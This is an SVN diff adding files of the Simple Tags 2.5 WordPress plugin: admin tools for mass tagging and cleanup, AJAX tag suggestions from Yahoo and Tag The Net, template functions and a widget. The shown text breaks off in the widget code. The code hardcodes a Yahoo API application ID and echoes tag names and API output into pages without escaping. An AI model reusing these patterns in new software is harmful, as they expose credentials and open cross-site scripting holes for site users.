+			$post_type_sql = ( $this->options['use_tag_pages'] == '1' ) ? "post_type IN('page', 'post')" : "post_type = 'post'";
+
+			// Get all posts ID
+			global $wpdb;
+			$objects_id = $wpdb->get_col("SELECT ID FROM {$wpdb->posts} WHERE {$post_type_sql}");
+
+			// Add new tags for all posts
+			foreach ( (array) $objects_id as $object_id ) {
+				wp_set_object_terms( $object_id, $new_tags, 'post_tag', true ); // Append tags
+				$counter++;
+			}
+			
+			// Clean cache
+			clean_object_term_cache( $objects_id, 'post_tag');		
+		}
+
+		if ( $counter == 0  ) {
+			$this->message = __('No tag added.', 'simpletags');
+		} else {
+			$this->message = sprintf(__('Tag(s) added to %1s post(s).', 'simpletags'), $counter);
+		}
+	}
+
+	/**
+	 * Edit one or lots tags slugs
+	 *
+	 * @param string $names
+	 * @param string $slugs
+	 */
+	function editTagSlug( $names = '', $slugs = '') {
+		if ( trim( str_replace(',', '', stripslashes($slugs)) ) == '' ) {
+			$this->message = __('No new slug(s) specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		$match_names = explode(',', $names);
+		$new_slugs = explode(',', $slugs);
+
+		$match_names = array_filter($match_names, array(&$this, 'deleteEmptyElement'));
+		$new_slugs = array_filter($new_slugs, array(&$this, 'deleteEmptyElement'));
+
+		if ( count($match_names) != count($new_slugs) ) {
+			$this->message = __('Tags number and slugs number isn\'t the same!', 'simpletags');
+			$this->status = 'error';
+			return;
+		} else {
+			$counter = 0;
+			foreach ( (array) $match_names as $i => $match_name ) {
+				// Sanitize slug + Escape
+				$new_slug = sanitize_title($new_slugs[$i]);
+
+				// Get term by name
+				$term = get_term_by('name', $match_name, 'post_tag');
+				if ( !$term ) {
+					continue;
+				}
+
+				// Increment
+				$counter++;
+
+				// Update term
+				wp_update_term($term->term_id, 'post_tag', array('slug' => $new_slug));
+				
+				// Clean cache
+				clean_term_cache($term->term_id, 'post_tag');
+			}
+		}
+
+		if ( $counter == 0  ) {
+			$this->message = __('No slug edited.', 'simpletags');
+		} else {
+			$this->message = sprintf(__('%s slug(s) edited.', 'simpletags'), $counter);
+		}
+		return;
+	}
+
+	/**
+	 * Clean database - Remove empty terms
+	 *
+	 */
+	function cleanDatabase() {
+		global $wpdb;
+
+		// Counter
+		$counter = 0;
+
+		// Get terms id empty
+		$terms_id = $wpdb->get_col("SELECT term_id FROM {$wpdb->terms} WHERE name IN ('', ' ', '  ', '&nbsp;') GROUP BY term_id");
+		if ( empty($terms_id) ) {
+			$this->message = __('Nothing to muck. Good job !', 'simpletags');
+			return;
+		}
+		
+		// Prepare terms SQL List
+		$terms_list = "'" . implode("', '", $terms_id) . "'";
+
+		// Remove term empty
+		$counter += $wpdb->query("DELETE FROM {$wpdb->terms} WHERE term_id IN ( {$terms_list} )");
+
+		// Get term_taxonomy_id from term_id on term_taxonomy table
+		$tts_id = $wpdb->get_col("SELECT term_taxonomy_id FROM {$wpdb->term_taxonomy} WHERE term_id IN ( {$terms_list} ) GROUP BY term_taxonomy_id");
+
+		if ( !empty($tts_id) ) {
+			// Clean term_taxonomy table
+			$counter += $wpdb->query("DELETE FROM {$wpdb->term_taxonomy} WHERE term_id IN ( {$terms_list} )");
+
+			// Prepare terms SQL List
+			$tts_list = "'" . implode("', '", $tts_id) . "'";
+
+			// Clean term_relationships table
+			$counter += $wpdb->query("DELETE FROM {$wpdb->term_relationships} WHERE term_taxonomy_id IN ( {$tts_list} )");
+		}
+		
+		// Delete cache
+		clean_term_cache($terms_id, array('category', 'post_tag'));
+		clean_object_term_cache($tts_list, 'post');		
+
+		$this->message = sprintf(__('%s rows deleted. WordPress DB is clean now !', 'simpletags'), $counter);
+		return;
+	}
+
+	/**
+	 * Click tags
+	 *
+	 */
+	function helperClickTags() {
+		?>
+	   	<script type="text/javascript">
+	    // <![CDATA[
+			var site_url = '<?php echo $this->info['siteurl']; ?>';
+			var show_txt = '<?php _e('Display click tags', 'simpletags'); ?>';
+			var hide_txt = '<?php _e('Hide click tags', 'simpletags'); ?>';
+		// ]]>
+	    </script>
+	    <script type="text/javascript" src="<?php echo $this->info['install_url'] ?>/inc/js/helper-click-tags.js?ver=<?php echo $this->version; ?>""></script>  
+		<?php
+	}
+
+	############## Suggested tags ##############
+	/**
+	 * Suggested tags
+	 *
+	 */
+	function helperSuggestTags() {
+		?>
+		<div id="suggestedtags" class="postbox <?php echo postbox_classes('suggestedtags', 'post'); ?>">
+			<h3>
+				<img style="float:right; display:none;" id="st_ajax_loading" src="<?php echo $this->info['install_url']; ?>/inc/images/ajax-loader.gif" alt="Ajax loading" />
+				<?php _e('Suggested tags from :', 'simpletags'); ?>&nbsp;&nbsp;
+				<a class="local_db" href="#suggestedtags"><?php _e('Local tags', 'simpletags'); ?></a>&nbsp;&nbsp;-&nbsp;&nbsp;
+				<a class="yahoo_api" href="#suggestedtags"><?php _e('Yahoo', 'simpletags'); ?></a>&nbsp;&nbsp;-&nbsp;&nbsp;
+				<a class="ttn_api" href="#suggestedtags"><?php _e('Tag The Net', 'simpletags'); ?></a>
+			</h3>
+			<div class="inside container_clicktags">
+				<?php _e('Choose a provider to get suggested tags (local, yahoo or tag the net).', 'simpletags'); ?>
+				<div class="clear"></div>
+			</div>
+		</div>
+	   	<script type="text/javascript">
+	    // <![CDATA[
+			var site_url = '<?php echo $this->info['siteurl']; ?>';
+		// ]]>
+	    </script>
+	    <script type="text/javascript" src="<?php echo $this->info['install_url'] ?>/inc/js/helper-suggested-tags.js?ver=<?php echo $this->version; ?>""></script>
+    <?php
+	}
+
+	############## Mass Edit Pages ##############
+	/**
+	 * Javascript helper for mass edit tags
+	 *
+	 */
+	function helperMassBCompleteJS() {
+		// If no tags => exit !
+		if ( ((int) wp_count_terms('post_tag', 'ignore_empty=true')) == 0 ) {
+			return;
+		}
+		$this->all_tags = true;
+		?>
+		<script type="text/javascript" src="<?php echo $this->info['siteurl'] ?>/wp-admin/admin.php?st_ajax_action=helper_js_collection&ver=<?php echo $this->version; ?>"></script>
+		<script type="text/javascript" src="<?php echo $this->info['install_url'] ?>/inc/js/bcomplete.js?ver=<?php echo $this->version; ?>"></script>
+	  	<link rel="stylesheet" type="text/css" href="<?php echo $this->info['install_url'] ?>/inc/css/bcomplete.css?ver=<?php echo $this->version; ?>" />
+		<?php if ( 'rtl' == get_bloginfo( 'text_direction' ) ) : ?>
+			<link rel="stylesheet" type="text/css" href="<?php echo $this->info['install_url'] ?>/inc/css/bcomplete-rtl.css?ver=<?php echo $this->version; ?>" />
+		<?php endif;
+	}
+
+	/**
+	 * Control POST data for mass edit tags
+	 *
+	 * @param string $type
+	 */
+	function checkFormMassEdit() {
+		if ( !current_user_can('simple_tags') ) {
+			return false;
+		}
+		
+		// Get GET data
+		$type = stripslashes($_GET['post_type']);
+		
+		if ( isset($_POST['update_mass']) ) {
+			// origination and intention
+			if ( ! ( wp_verify_nonce($_POST['secure_mass'], 'st_mass_tags') ) ) {
+				$this->message = __('Security problem. Try again. If this problem persist, contact <a href="mailto:amaury@wordpress-fr.net">plugin author</a>.', 'simpletags');
+				$this->status = 'error';
+				return false;
+			}
+
+			if ( isset($_POST['tags']) ) {
+				$counter = 0;
+				foreach ( (array) $_POST['tags'] as $object_id => $tag_list ) {
+					// Trim data
+					$tag_list = trim(stripslashes($tag_list));
+
+					// String to array
+					$tags = explode( ',', $tag_list );
+
+					// Remove empty and trim tag
+					$tags = array_filter($tags, array(&$this, 'deleteEmptyElement'));
+
+					// Add new tag (no append ! replace !)
+					wp_set_object_terms( $object_id, $tags, 'post_tag' );
+					$counter++;
+					
+					// Clean cache
+					if ( 'page' == $type ) {
+						clean_page_cache($object_id);
+					} else {
+						clean_post_cache($object_id);
+					}
+				}
+				
+				if ( $type == 'page' ) {
+					$this->message = sprintf(__('%s page(s) tags updated with success !', 'simpletags'), (int) $counter);
+				} else {
+					$this->message = sprintf(__('%s post(s) tags updated with success !', 'simpletags'), (int) $counter);
+				}
+				return true;
+			}
+		}
+		return false;
+	}
+
+	############## WP Options ##############
+	/**
+	 * Update an option value  -- note that this will NOT save the options.
+	 *
+	 * @param string $optname
+	 * @param string $optval
+	 */
+	function setOption($optname, $optval) {
+		$this->options[$optname] = $optval;
+	}
+
+	/**
+	 * Save all current options
+	 *
+	 */
+	function saveOptions() {
+		update_option($this->db_options, $this->options);
+	}
+
+	/**
+	 * Reset to default options
+	 *
+	 */
+	function resetToDefaultOptions() {
+		update_option($this->db_options, $this->default_options);
+		$this->options = $this->default_options;
+	}
+
+	/**
+	 * Delete Simple Tags options from DB.
+	 *
+	 */
+	function deleteAllOptions() {
+		delete_option($this->db_options, $this->default_options);
+		delete_option('widget_stags_cloud');
+	}
+
+	############## Ajax ##############
+	/**
+	 * Ajax Dispatcher
+	 *
+	 */
+	function ajaxCheck() {
+		if ( $_GET['st_ajax_action'] == 'get_tags' ) {
+			$this->ajaxListTags();
+		} elseif ( $_GET['st_ajax_action'] == 'tags_from_yahoo' ) {
+			$this->ajaxYahooTermExtraction();
+		} elseif ( $_GET['st_ajax_action'] == 'tags_from_tagthenet' ) {
+			$this->ajaxTagTheNet();
+		} elseif ( $_GET['st_ajax_action'] == 'helper_js_collection' ) {
+			$this->ajaxLocalTags( 'js_collection' );
+		} elseif ( $_GET['st_ajax_action'] == 'tags_from_local_db' ) {
+			$this->ajaxSuggestLocal();
+		} elseif ( $_GET['st_ajax_action'] == 'click_tags' ) {
+			$this->ajaxLocalTags( 'html_span' );
+		}
+	}
+	
+	/**
+	 * Get tags list for manage tags page.
+	 *
+	 */
+	function ajaxListTags() {
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+
+		// Build param for tags
+		$sort_order = attribute_escape(stripslashes($_GET['order']));
+		switch ($sort_order) {
+			case 'natural' :
+				$param = 'hide_empty=false&cloud_selection=name-asc';
+				break;
+			case 'asc' :
+				$param = 'hide_empty=false&cloud_selection=count-asc';
+				break;
+			default :
+				$param = 'hide_empty=false&cloud_selection=count-desc';
+				break;
+		}
+
+		$current_page = (int) $_GET['pagination'];
+		$param .= '&number=LIMIT '. $current_page * $this->nb_tags . ', '.$this->nb_tags;
+		// Get tags
+		global $simple_tags;
+		$tags = (array) $simple_tags->getTags($param, true, 'post_tag', true);
+
+		// Build output
+		echo '<ul class="ajax_list">';
+		foreach( $tags as $tag ) {
+			echo '<li><span>'.$tag->name.'</span>&nbsp;<a href="'.(get_tag_link( $tag->term_id )).'" title="'.sprintf(__('View all posts tagged with %s', 'simpletags'), $tag->name).'">('.$tag->count.')</a></li>'."\n";
+		}
+		unset($tags);
+		echo '</ul>';
+
+		// Build pagination
+		$ajax_url = $this->info['siteurl']. '/wp-admin/admin.php?st_ajax_action=get_tags';
+
+		// Order
+		if ( isset($_GET['order']) ) {
+			$ajax_url = $ajax_url . '&amp;order='.$sort_order ;
+		}
+		?>
+		<div class="navigation">
+			<?php if ( ($current_page * $this->nb_tags)  + $this->nb_tags > ((int) wp_count_terms('post_tag', 'ignore_empty=true')) ) : ?>
+				<?php _e('Previous tags', 'simpletags'); ?>
+			<?php else : ?>
+				<a href="<?php echo $ajax_url. '&amp;pagination='. ($current_page + 1); ?>"><?php _e('Previous tags', 'simpletags'); ?></a>
+			<?php endif; ?>
+			|
+			<?php if ( $current_page == 0 ) : ?>
+				<?php _e('Next tags', 'simpletags'); ?>
+			<?php else : ?>
+			<a href="<?php echo $ajax_url. '&amp;pagination='. ($current_page - 1) ?>"><?php _e('Next tags', 'simpletags'); ?></a>
+			<?php endif; ?>
+		</div>
+		<?php
+		exit();
+	}
+
+	/**
+	 * Suggest tags from Yahoo Term Extraction
+	 *
+	 */
+	function ajaxYahooTermExtraction() {
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+		
+		// Get data
+		$content = stripslashes($_POST['content']) .' '. stripslashes($_POST['title']);
+		$content = trim($content);
+		if ( empty($content) ) {
+			exit();
+		}
+
+		// Application entrypoint -> http://code.google.com/p/simple-tags/
+		// Yahoo ID : h4c6gyLV34Fs7nHCrHUew7XDAU8YeQ_PpZVrzgAGih2mU12F0cI.ezr6e7FMvskR7Vu.AA--
+		$yahoo_id = 'h4c6gyLV34Fs7nHCrHUew7XDAU8YeQ_PpZVrzgAGih2mU12F0cI.ezr6e7FMvskR7Vu.AA--';
+		$yahoo_api_host = 'search.yahooapis.com'; // Api URL
+		$yahoo_api_path = '/ContentAnalysisService/V1/termExtraction'; // Api URL
+		$tags = stripslashes($_POST['tags']);
+
+		// Build params
+		$param = 'appid='.$yahoo_id; // Yahoo ID
+		$param .= '&context='.urlencode($content); // Post content
+		if ( !empty($tags) ) {
+			$param .= '&query='.urlencode($tags); // Existing tags
+		}
+		$param .= '&output=php'; // Get PHP Array !
+
+		$data = '';
+		
+		// Only use fsockopen !
+		if ( function_exists('curl_init') && 1 == 0 ) { // Curl exist ?
+			$curl = curl_init();
+
+			curl_setopt($curl, CURLOPT_URL, 'http://'.$yahoo_api_host.$yahoo_api_path.'?'.$param);
+			curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
+    		curl_setopt($curl, CURLOPT_POST, true);
+
+			$data = curl_exec($curl);
+			curl_close($curl);
+
+			$data = unserialize($data);
+		} else { // Fsocket
+			$request = 'appid='.$yahoo_id.$param;
+
+			$http_request  = "POST $yahoo_api_path HTTP/1.0\r\n";
+			$http_request .= "Host: $yahoo_api_host\r\n";
+			$http_request .= "Content-Type: application/x-www-form-urlencoded; charset=" . get_option('blog_charset') . "\r\n";
+			$http_request .= "Content-Length: " . strlen($request) . "\r\n";
+			$http_request .= "\r\n";
+			$http_request .= $request;
+
+			if( false != ( $fs = @fsockopen( $yahoo_api_host, 80, $errno, $errstr, 3) ) && is_resource($fs) ) {
+				fwrite($fs, $http_request);
+
+				while ( !feof($fs) )
+					$data .= fgets($fs, 1160); // One TCP-IP packet
+				fclose($fs);
+				$data = explode("\r\n\r\n", $data, 2);
+			}
+
+			$data = unserialize($data[1]);
+		}
+
+		$data = (array) $data['ResultSet']['Result'];
+		
+		// Remove empty terms
+		$data = array_filter($data, array(&$this, 'deleteEmptyElement'));
+		$data = array_unique($data);
+
+		foreach ( $data as $term ) {
+			echo '<span class="yahoo">'.$term.'</span>'."\n";
+		}
+		echo '<div class="clear"></div>';
+		exit();
+	}
+
+	/**
+	 * Suggest tags from Tag The Net
+	 *
+	 */
+	function ajaxTagTheNet() {
+		// Get data
+		$content = stripslashes($_POST['content']) .' '. stripslashes($_POST['title']);
+		$content = trim($content);
+		if ( empty($content) ) {
+			exit();
+		}
+		
+		// Send good header HTTP
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+		
+		// Build params
+		$api_host = 'tagthe.net'; // Api URL
+		$api_path = '/api/'; // Api URL
+		$param .= 'text='.urlencode($content); // Post content
+		$param .= '&view=xml&count=50';
+
+		$data = '';
+		$request = $param;
+
+		$http_request  = "POST $api_path HTTP/1.0\r\n";
+		$http_request .= "Host: $api_host\r\n";
+		$http_request .= "Content-Type: application/x-www-form-urlencoded; charset=" . get_option('blog_charset') . "\r\n";
+		$http_request .= "Content-Length: " . strlen($request) . "\r\n";
+		$http_request .= "\r\n";
+		$http_request .= $request;
+
+		if( false != ( $fs = @fsockopen( $api_host, 80, $errno, $errstr, 3) ) && is_resource($fs) ) {
+			fwrite($fs, $http_request);
+
+			while ( !feof($fs) )
+				$data .= fgets($fs, 1160); // One TCP-IP packet
+			fclose($fs);
+			$data = explode("\r\n\r\n", $data, 2);
+		}
+
+		$data = $data[1];
+		$terms = $all_topics = $all_locations = $all_persons = $persons = $topics = $locations = array();
+
+		// Get all topics
+		preg_match_all("/(.*?)<dim type=\"topic\">(.*?)<\/dim>(.*?)/s", $data, $all_topics );
+		$all_topics = $all_topics[2][0];
+
+		preg_match_all("/(.*?)<item>(.*?)<\/item>(.*?)/s", $all_topics, $topics );
+		$topics = $topics[2];
+
+		foreach ( (array) $topics as $topic ) {
+			$terms[] = '<span class="ttn_topic">'.$topic.'</span>';
+		}
+
+		// Get all locations
+		preg_match_all("/(.*?)<dim type=\"location\">(.*?)<\/dim>(.*?)/s", $data, $all_locations );
+		$all_locations = $all_locations[2][0];
+
+		preg_match_all("/(.*?)<item>(.*?)<\/item>(.*?)/s", $all_locations, $locations );
+		$locations = $locations[2];
+
+		foreach ( (array) $locations as $location ) {
+			$terms[] = '<span class="ttn_location">'.$location.'</span>';
+		}
+
+		// Get all persons
+		preg_match_all("/(.*?)<dim type=\"person\">(.*?)<\/dim>(.*?)/s", $data, $all_persons );
+		$all_persons = $all_persons[2][0];
+
+		preg_match_all("/(.*?)<item>(.*?)<\/item>(.*?)/s", $all_persons, $persons );
+		$persons = $persons[2];
+
+		foreach ( (array) $persons as $person ) {
+			$terms[] = '<span class="ttn_person">'.$person.'</span>';
+		}
+		
+		// Remove empty terms
+		$terms = array_filter($terms, array(&$this, 'deleteEmptyElement'));
+		$terms = array_unique($terms);
+
+		echo implode("\n", $terms);
+		echo '<div class="clear"></div>';
+		exit();
+	}
+
+	/**
+	 * Suggest tags from local database
+	 *
+	 */
+	function ajaxSuggestLocal() {
+		if ( ((int) wp_count_terms('post_tag', 'ignore_empty=true')) == 0) { // No tags to suggest
+			exit();
+		}
+				
+		// Get data
+		$content = stripslashes($_POST['content']) .' '. stripslashes($_POST['title']);
+		$content = trim($content);
+		if ( empty($content) ) {
+			exit();
+		}
+		
+		// Send good header HTTP
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+
+		// Get all terms
+		global $wpdb;
+		$terms = $wpdb->get_col("
+			SELECT DISTINCT name
+			FROM {$wpdb->terms} AS t
+			INNER JOIN {$wpdb->term_taxonomy} AS tt ON t.term_id = tt.term_id
+			WHERE tt.taxonomy = 'post_tag'	
+		");
+		$terms = array_unique($terms);
+		
+		foreach ( (array) $terms as $term ) {
+			$term = stripslashes($term);
+			if ( is_string($term) && !empty($term) && stristr($content, $term) ) {
+				echo '<span class="local">'.$term.'</span>'."\n";
+			}
+		}
+		
+		// Clean memory
+		$terms = array();
+		unset($terms, $term);
+
+		echo '<div class="clear"></div>';
+		exit();
+	}
+	
+	/**
+	 * Display a span list for click tags or a javascript collection for autocompletion script !
+	 *
+	 * @param string $format
+	 */
+	function ajaxLocalTags( $format = 'span' ) {
+		if ((int) wp_count_terms('post_tag', 'ignore_empty=true') == 0 ) { // No tags to suggest
+			exit();
+		}
+		
+		// Send good header HTTP
+		status_header( 200 );
+		header("Content-Type: text/javascript; charset=" . get_bloginfo('charset'));
+			
+		if ( $format == 'js_collection' ) {
+			echo 'collection = [';
+		}
+
+		// Get all terms
+		global $wpdb;
+		$terms = $wpdb->get_col("
+			SELECT DISTINCT name
+			FROM {$wpdb->terms} AS t
+			INNER JOIN {$wpdb->term_taxonomy} AS tt ON t.term_id = tt.term_id
+			WHERE tt.taxonomy = 'post_tag'	
+		");
+		$terms = array_unique($terms);
+		
+		switch ($format) {
+			case 'html_span' :
+				foreach ( (array) $terms as $term ) {	
+					$term = stripslashes($term);				
+					echo '<span class="local">'.$term.'</span>'."\n";
+				}
+				break;
+			case 'js_collection' :
+			default:
+				$flag = false;
+				foreach ( (array) $terms as $term ) {		
+					$term = stripslashes($term);
+					if ( $flag === false) {
+						echo '"'.str_replace('"', '\"', $term).'"';
+						$flag = true;
+					} else {
+						echo ', "'.str_replace('"', '\"', $term).'"';
+					}
+				}
+				break;
+		}
+		
+		// Clean memory
+		$terms = array();
+		unset($terms, $term);
+		
+		if ( $format == 'js_collection' ) { 
+			echo '];';
+		} else {
+			echo '<div class="clear"></div>';
+		}
+		exit();
+	}
+
+	############## Admin WP Helper ##############
+	/**
+	 * Display plugin Copyright
+	 *
+	 */
+	function printAdminFooter() {
+		?>
+		<p class="footer_st"><?php printf(__('&copy; Copyright 2007 <a href="http://www.herewithme.fr/" title="Here With Me">Amaury Balmer</a> | <a href="http://wordpress.org/extend/plugins/simple-tags">Simple Tags</a> | Version %s', 'simpletags'), $this->version); ?></p>
+		<?php
+	}
+
+	/**
+	 * Display WP alert
+	 *
+	 */
+	function displayMessage() {
+		if ( $this->message != '') {
+			$message = $this->message;
+			$status = $this->status;
+			$this->message = $this->status = ''; // Reset
+		}
+
+		if ( $message ) {
+		?>
+			<div id="message" class="<?php echo ($status != '') ? $status :'updated'; ?> fade">
+				<p><strong><?php echo $message; ?></strong></p>
+			</div>
+		<?php
+		}
+	}
+
+	/**
+	 * Print link to ST File CSS and addTag javascript function
+	 *
+	 */
+	function helperHeaderST() {
+		echo '<link rel="stylesheet" href="'.$this->info['install_url'].'/inc/css/simple-tags.admin.css?ver='.$this->version.'" type="text/css" />';
+		echo '<script type="text/javascript" src="'.$this->info['install_url'].'/inc/js/helper-add-tags.js?ver='.$this->version.'"></script>';
+	}
+
+	/**
+	 * Ouput formatted options
+	 *
+	 * @param array $option_data
+	 * @return string
+	 */
+	function printOptions( $option_data ) {
+		// Get actual options
+		$option_actual = (array) $this->options;
+
+		// Generate output
+		$output = '';
+		foreach( $option_data as $section => $options) {
+			$output .= "\n" . '<div id="'. sanitize_title($section) .'"><fieldset class="options"><legend>' . $this->getNiceTitleOptions($section) . '</legend><table class="form-table">' . "\n";
+			foreach((array) $options as $option) {
+				// Helper
+				if (  $option[2] == 'helper' ) {
+						$output .= '<tr style="vertical-align: middle;"><td class="helper" colspan="2">' . $option[4] . '</td></tr>' . "\n";
+						continue;
+				}
+
+				switch ( $option[2] ) {
+					case 'checkbox':
+						$input_type = '<input type="checkbox" id="' . $option[0] . '" name="' . $option[0] . '" value="' . htmlspecialchars($option[3]) . '" ' . ( ($option_actual[ $option[0] ]) ? 'checked="checked"' : '') . ' />' . "\n";
+						break;
+
+					case 'dropdown':
+						$selopts = explode('/', $option[3]);
+						$seldata = '';
+						foreach( (array) $selopts as $sel) {
+							$seldata .= '<option value="' . $sel . '" ' .(($option_actual[ $option[0] ] == $sel) ? 'selected="selected"' : '') .' >' . ucfirst($sel) . '</option>' . "\n";
+						}
+						$input_type = '<select id="' . $option[0] . '" name="' . $option[0] . '">' . $seldata . '</select>' . "\n";
+						break;	
+					
+					case 'text-color':
+						$input_type = '<input type="text" ' . (($option[3]>50) ? ' style="width: 95%" ' : '') . 'id="' . $option[0] . '" name="' . $option[0] . '" value="' . htmlspecialchars($option_actual[ $option[0] ]) . '" size="' . $option[3] .'" /><div class="box_color ' . $option[0] . '"></div>' . "\n";
+						break;
+
+					case 'text':
+					default:
+						$input_type = '<input type="text" ' . (($option[3]>50) ? ' style="width: 95%" ' : '') . 'id="' . $option[0] . '" name="' . $option[0] . '" value="' . htmlspecialchars($option_actual[ $option[0] ]) . '" size="' . $option[3] .'" />' . "\n";
+						break;
+				}
+
+				// Additional Information
+				$extra = '';
+				if( !empty($option[4]) ) {
+					$extra = '<div class="stpexplan">' . __($option[4]) . '</div>' . "\n";
+				}
+
+				// Output
+				$output .= '<tr style="vertical-align: top;"><th scope="row"><label for="'.$option[0].'">' . __($option[1]) . '</label></th><td>' . $input_type . '	' . $extra . '</td></tr>' . "\n";
+			}
+			$output .= '</table>' . "\n";
+			$output .= '</fieldset></div>' . "\n";
+		}
+		return $output;
+	}
+	
+	/**
+	 * Get nice title for tabs title option
+	 *
+	 * @param string $id
+	 * @return string
+	 */
+	function getNiceTitleOptions( $id = '' ) {
+		switch ( $id ) {
+			case 'general':
+				return __('General', 'simpletags');
+				break;
+			case 'administration':
+				return __('Administration', 'simpletags');
+				break;
+			case 'metakeywords':
+				return __('Meta Keyword', 'simpletags');
+				break;
+			case 'embeddedtags':
+				return __('Embedded Tags', 'simpletags');
+				break;
+			case 'tagspost':
+				return __('Tags for Current Post', 'simpletags');
+				break;
+			case 'relatedposts':
+				return __('Related Posts', 'simpletags');
+				break;
+			case 'relatedtags':
+				return __('Related Tags', 'simpletags');
+				break;
+			case 'tagcloud':
+				return __('Tag cloud', 'simpletags');
+				break;
+		}
+		return '';
+	}
+
+	/**
+	 * Escape string so that it can used in Regex. E.g. used for [tags]...[/tags]
+	 *
+	 * @param string $content
+	 * @return string
+	 */
+	function regexEscape( $content ) {
+		return strtr($content, array("\\" => "\\\\", "/" => "\\/", "[" => "\\[", "]" => "\\]"));
+	}
+	
+	/**
+	 * Add initial ST options in DB
+	 *
+	 */
+	function installSimpleTags() {
+		$options_from_table = get_option( $this->db_options );
+		if ( !$options_from_table ) {
+			$this->resetToDefaultOptions();
+		}
+	}
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/simple-tags.functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/simple-tags.functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/simple-tags.functions.php	(revision 44)
@@ -0,0 +1,123 @@
+<?php
+/**
+ * Generate related posts for a post in WP loop
+ *
+ * @param string $args
+ * @return string|array
+ */
+function st_get_related_posts( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->relatedPosts( $args );
+}
+
+/**
+ * Display related posts for a post in WP loop
+ *
+ * @param string $args
+ */
+function st_related_posts( $args = '' ) {
+	echo st_get_related_posts( $args );
+}
+
+/**
+ * Generate extended tag cloud
+ *
+ * @param string $args
+ * @return string|array
+ */
+function st_get_tag_cloud( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->extendedTagCloud( $args );
+}
+
+/**
+ *  Display extended tag cloud
+ *
+ * @param string $args
+ */
+function st_tag_cloud( $args = '' ) {
+	echo st_get_tag_cloud( $args );
+}
+
+/**
+ * Generate extended current tags post
+ *
+ * @param string $args
+ * @return string
+ */
+function st_get_the_tags( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->extendedPostTags( $args );
+}
+
+/**
+ *  Display extended current tags post
+ *
+ * @param string $args
+ */
+function st_the_tags( $args = '' ) {
+	echo st_get_the_tags( $args );
+}
+
+/**
+ * Generate meta keywords for HTML header
+ *
+ * @return string
+ */
+function st_get_meta_keywords() {
+	global $simple_tags;
+	$tags_list = $simple_tags->generateKeywords();
+	if ( !empty($tags_list) ) {
+		return "\n\t" . '<!-- Generated by Simple Tags ' . $simple_tags->version . ' - http://wordpress.org/extend/plugins/simple-tags -->' ."\n\t". '<meta name="keywords" content="' . $tags_list . '" />' . "\n";
+	}
+	return '';
+}
+
+/**
+ * Display meta keywords for HTML header
+ *
+ */
+function st_meta_keywords() {
+	echo st_get_meta_keywords();
+}
+
+/**
+ * Display related tags
+ *
+ * @param string $args
+ */
+function st_related_tags( $args = '' ) {
+	echo st_get_related_tags( $args );
+}
+
+/**
+ * Get related tags
+ *
+ * @param string $args
+ * @return string|array
+ */
+function st_get_related_tags( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->relatedTags( $args );	
+}
+
+/**
+ * Display remove related tags
+ *
+ * @param string $args
+ */
+function st_remove_related_tags( $args = '' ) {
+	echo st_get_remove_related_tags( $args );
+}
+
+/**
+ * Get remove related tags
+ *
+ * @param string $args
+ * @return string|array
+ */
+function st_get_remove_related_tags( $args = '' ) {
+	global $simple_tags;
+	return $simple_tags->removeRelatedTags( $args );	
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/simple-tags.widgets.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/simple-tags.widgets.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/simple-tags/2.5/inc/simple-tags.widgets.php	(revision 44)
@@ -0,0 +1,277 @@
+<?php
+function widget_st_tag_cloud_init() {
+	// Widgets exists ?
+	if ( !function_exists('wp_register_sidebar_widget') || !function_exists('wp_register_widget_control') ) {
+		return;
+	}
+
+	// Simple Tags exists ?
+	global $simple_tags;
+	if ( !class_exists('SimpleTags') || is_null($simple_tags) ) {
+		return;
+	}	
+
+	function widget_st_tag_cloud( $widget_args, $number = 1 ) {
+		extract($widget_args);
+		$options = get_option('widget_stags_cloud');
+			
+		$fields = array('title','max','selection','order','smini','smax','unit','format','color','cmini','cmax','xformat');
+		foreach ( (array) $fields as $field ) {
+			${$field} = trim(strtolower($options[$number][$field]));
+		}
+
+		// Use Widgets title and no ST title !!
+		$args = 'title=';
+
+		// Selection
+		if ( !empty($selection) ) {
+			$args .= '&cloud_selection='.$selection;
+		} else {
+			$args .= '&cloud_selection=count-desc';
+		}
+
+		// Order
+		if ( !empty($order) ) {
+			$args .= '&cloud_sort='.$order;
+		} else {
+			$args .= '&cloud_sort=random';
+		}
+
+		// Max tags
+		if ( $max != 0 ) {
+			$args .= '&number='.$max;
+		}
+
+		// Size Mini
+		if ( $smini != 0 ) {
+			$args .= '&smallest='.$smini;
+		}
+
+		// Size Maxi
+		if ( $smax != 0 ) {
+			$args .= '&largest='.$smax;
+		}
+
+		// Unit
+		if ( !empty($unit) ) {
+			$args .= '&unit='.$unit;
+		}
+
+		// Format
+		if ( !empty($format) ) {
+			$args .= '&format='.$format;
+		}
+
+		// Use color ?
+		if ( $color == 0 ) {
+			$args .= '&color=false';
+		}
+
+		// Color mini
+		if ( !empty($cmini) ) {
+			$args .= '&mincolor='.$cmini;
+		}
+
+		// Color Max
+		if ( !empty($cmax) ) {
+			$args .= '&maxcolor='.$cmax;
+		}
+
+		// Xformat
+		if ( !empty($xformat) ) {
+			$args .= '&xformat='.$xformat;
+		}
+
+		// Use custom title with Widgets Title 
+		// Keep this, else title is also lower...
+		$title = trim($options[$number]['title']);
+		
+		echo $before_widget;
+		echo $before_title . $title . $after_title;
+			st_tag_cloud($args);
+		echo $after_widget;
+	}
+
+	function widget_st_tag_cloud_control( $number ) {
+		// Options
